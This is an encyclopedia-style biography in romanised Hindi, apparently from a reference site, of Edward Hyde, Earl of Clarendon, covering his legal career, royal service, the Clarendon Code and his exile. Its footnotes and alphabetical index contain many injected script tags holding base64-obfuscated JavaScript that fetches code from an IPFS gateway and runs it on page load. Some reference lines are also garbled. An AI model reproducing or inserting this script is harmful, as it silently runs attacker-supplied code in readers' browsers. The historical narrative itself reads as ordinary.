एडवर्ड हाइड क्लेयरेंडन

edavard haid kleyareandan (1609-1674). ianglaiand ka rajanitijn aur itihasakar. viltarashayar sthit diantan nagar mean 18 pharavari, 1609 ko ek sadharan grihasth edavard haid ke ghar janm. 1622 se 1625 tak aksaphard ke medelen hal mean adhyayan kiya aur snatak ki upadhi prapt ki. landan ke midil teanpal mean kanoon ka adhyayan karane ke bad vakalat aranbh ki. kuchh hi varshoan mean vah saphal vakil mana jane laga. lokapriy vakil ke roop mean 1640 mean vah vootan baise se alpakalin parlameant ka sadasy nirvachit hua. usi varsh ayojit dirghakalin parlameant mean vah seltash ka pratinidhi chuna gaya.

yah vah kal tha jab stuart vanshiy naresh charls (pratham) aur parlameant ke bich sangharsh chal raha tha jo ab charam sima par pahuanch raha tha. charls pahale do bar parlameant ko vighatit kar chuka tha. march, 1628 mean jo tisari parlameant bani usane petishan aauv raits parit kiya. usapar naresh ne hastakshar to kar diya tha par usaka vah palan nahian kar raha tha. chauthi bar charls ne parlameant ka phir se nirvachan karaya. is parlameant ka adhiveshan 3 navanbar, 1640 ko aranbh hua aur usaki baithak das mas tak hoti rahi. is karan yah dirgh parlameant ke nam se prakhyat hai. is parlameant ne aranbh mean hi raja ke 12 varshoan ke vyaktigat shasan mean kanoonoan ki upeksha, asadharan nyayalayoan ka raja ke svarth-sadhan mean upayog, nyayadhishoan dvara durvyavahar, jahaji kar sanbandhi nirnay adi avaidh karyoan ka virodh kiya. kleyareandan ne virodh paksh ka samarthan to kiya kiantu vah dharmavyavastha mean parivartan ke prashn par virodhiyoan se sahamat n tha. is mamale mean usane raja ka samarthan kiya. phalat: 1641 se vah usaka prachchhann paramarshadata ban gaya. parlameant ki maangoan aur prastavoan ke sanbandh mean raja ke uttar vahi taiyar karata tha. raja ne jab kamans sabha ke paanch sadasyoan ko giraphtar kar liya tab usane usaka virodh kiya kiantu jab parlameant se sangharsh chhi da to vah pratyaksh roop se raja ke sath ho gaya. usane raja ko avaidh karyoan ke tyag ka paramarsh diya. vah janata tha ki raja ke karyoan ka adhar kanoon hona chahie. usane raja ki niti nishchit ki aur kamans sabha mean raja ke paksh mean dal sangathit kiya.

1643 mean raja ne usako nait ki padavi di, privi kauansil ka sadasy aur kosh vibhag ka pramukh adhikari (chaansalar aauv aiksachekar) niyukt kiya. us varsh ki aksaphard ki parlameant mean vivadagrast mamaloan mean parlameant se bat karane ke liye raja ne use apana pratinidhi niyukt kiya tha.

kleyareandan ke sare prayas ke bavajood jab grihayuddh chhi d gaya aur raja ke paksh ki har huee to vah raja ke jyeshth putr charls ke sath ianglaiand ke pashchimi pradesh mean chala gaya. skili aur jairesi dvipoan mean rajakumar ke pravasakal mean bhi yah usake sath raha. 1648 mean doosari bar grihayuddh aranbh hone ke bad kleyareandan rajakumar ke sath h aaulaiand chala gaya. rajapaksh ke samarthan mean sahayataprapti ke lie 1649 mean vah spen gaya aur rajadoot ke roop mean do varsh vahaan raha, kiantu apane uddeshy ki poorti mean saphal n hua. 1652 mean vah phir rajakumar ke pas h aaulaiand laut aya aur ianglaiand ke rajatantr ki pun:sthapana tak vah usaka pradhanamantri raha. in ath varshoan mean vah rajakumar ki arthavyavastha aur videshoan ke rajadarabaroan tatha shasanavyavastha se asantusht svadesh ke vyaktiyoan se sanpark sthapit karata raha. 1658 mean rajakumar ne usako apana l aaurd chaansalar niyukt kiya. 1660 ki breda ki ghoshana, jisamean rajakumar ne vivad ke sabhi mamale parlameant ke nirnay par chho d die the, kleyareandan ne hi taiyar ki thi.

1660 ee. mean pun: rajatantr ki pratishtha hone par rajakumar charls dvitiy ke nam se ianglaiand ka raja bana. usane kleyareandan ko lard chaansalar banae rakha aur use pradhan mantri ke pad par pratishthit kiya. raja ne usako aksaphard vishvavidyalay ka chaansalar bhi niyukt kiya. 1661 mean raja ne usaka kleyareandan ke arl ki padavi aur bis hajar pauand ka anudan kiya. isake atirikt bhi use samay samay par anek jagirean aur ayaralaiand ka khiraj prapt hua. raja ke chhote bhaee yark ke dyook jems ke sath usane 1660 mean apani putri ka vivah kiya aur is prakar vah raja ka sanbandhi bana. use pichhe ianglaiand ki do shasikaoan - kvin meri aur kvin ain ka pitamah hone ka saubhagy prapt hua. kleanyaradan ke pradhan mantri banane ke bad mee, 1661 ee. mean parlameant ka naya nirvachan hua. yah parlameant itihas mean keveliyar parlameant ke nam se prakhyat hai. keveliyar shabd rajapaksh ka vachi tha aur parlameant mean isi paksh ka bahumat tha.

kleyareandan ianglaiand ki rajamany aianglikar sanpradas ka kattar samarthak tha. dharmavyavastha ki pushti aur raksha ke lie usaki prerana se 1661 se 1665 ke bich is parlameant ne eesaee mat ke pyooritan sanpraday ko dabane ke liye char vidhi svikrit kie jo kleyareandan kod ke nam se prasiddh haian. ye vidhi the- (1) karporeshan aikt jinake anusar keval aiangkilan sanpraday ke vyakti hi shasan sabha ke sadasy ho sakate the; (2) aikt aauv yoonifarmiti, jisake anusar sabhi padariyoan ghoshit kiya gaya. ise n mananevale lagabhag 2,000 padari nishkasit kie ge; (3) kanveantikal aikt, jisake anusar aianglikan sanpradayetar eesaeeyoan ke paanch se adhik ekatr hokar prarthana karane par rok lagaee gee; (4) phaiv mail aikt, isake anusar nishkasit padari kisi skool mean adhyapan nahian kar sakate the aur n pratyek b de nagar ki paanch mil ki paridhi ke bhitar a sakate the. kleyareandan raja ke sanvaidhanik adhikar videshoan ke sath maitri sanbandh ka samarthak tha. phraans ke sath usane kramavel ke samay ki maitri niti nibhaee aur dankark ka bandaragah phraans ke hath becha. purtagal ki rajakumari ka raja ke sath vivah karane mean usaki prerana thi. halaiand ke viruddh yuddh ka samarthak n hote hue bhi jab 22 pharavari, 1665 ko yuddh chhi d gaya to usane usaka samarthan kiya. sath hi usane yuddh samapt karane aur svidan aur spen se sandhi karane ka prayas kiya; kiantu usaki hvraudeshik niti saphal n ho saki.

kleyareandan dhire dhire apriy hone laga. parlameant ke bhitar aur desh mean usake karyoan ke prati asantosh vyakt kiya jane laga. nidan, raja ne 1667 mean usako chaansalar ke pad se hata diya; vah pradhan mantri bhi nahian raha. usi varsh bhrashtachar, svechchhachari shasan aur yuddh mean vishvaghat ke liye kamans sabha ne usapar mahabhiyog lagaya. tab vah phraans chala gaya. lard sabha ne tatkal use desh nikala ka prastav svikar kiya. usane apana yah nirvasan kal phraans mean hi bitaya. is nirvasan kal mean use nana prakar ke kasht uthane p de. usane apana dhyan dharm ki or lagaya aur nity vah kuchh samay kantemleshॅs an d sams tatha apane sadachar sanbandhi lekhoan ke likhane mean bitata. isake sath hi usane is avadhi mean histri aauv ribeliyan, jisane use 1646-48 ke bich rajakumar ke sath pravas ke samay likhana aranbh kiya tha, poora kiya aur apani ek atmakatha bhi likhi.^[1]

rajanitijn ke roop mean usaki apani simaean aur durbalataean thian phir bhi usane kitane hi mahatvapoorn rajanitik prashnoan ko ubhara. lekhak aur itihasakar ke roop mean aangareji mean usaka uchch sthan mana jata hai.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 241 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ tralochan rpet

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 241 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] tralochan rpet

[1]

[2]

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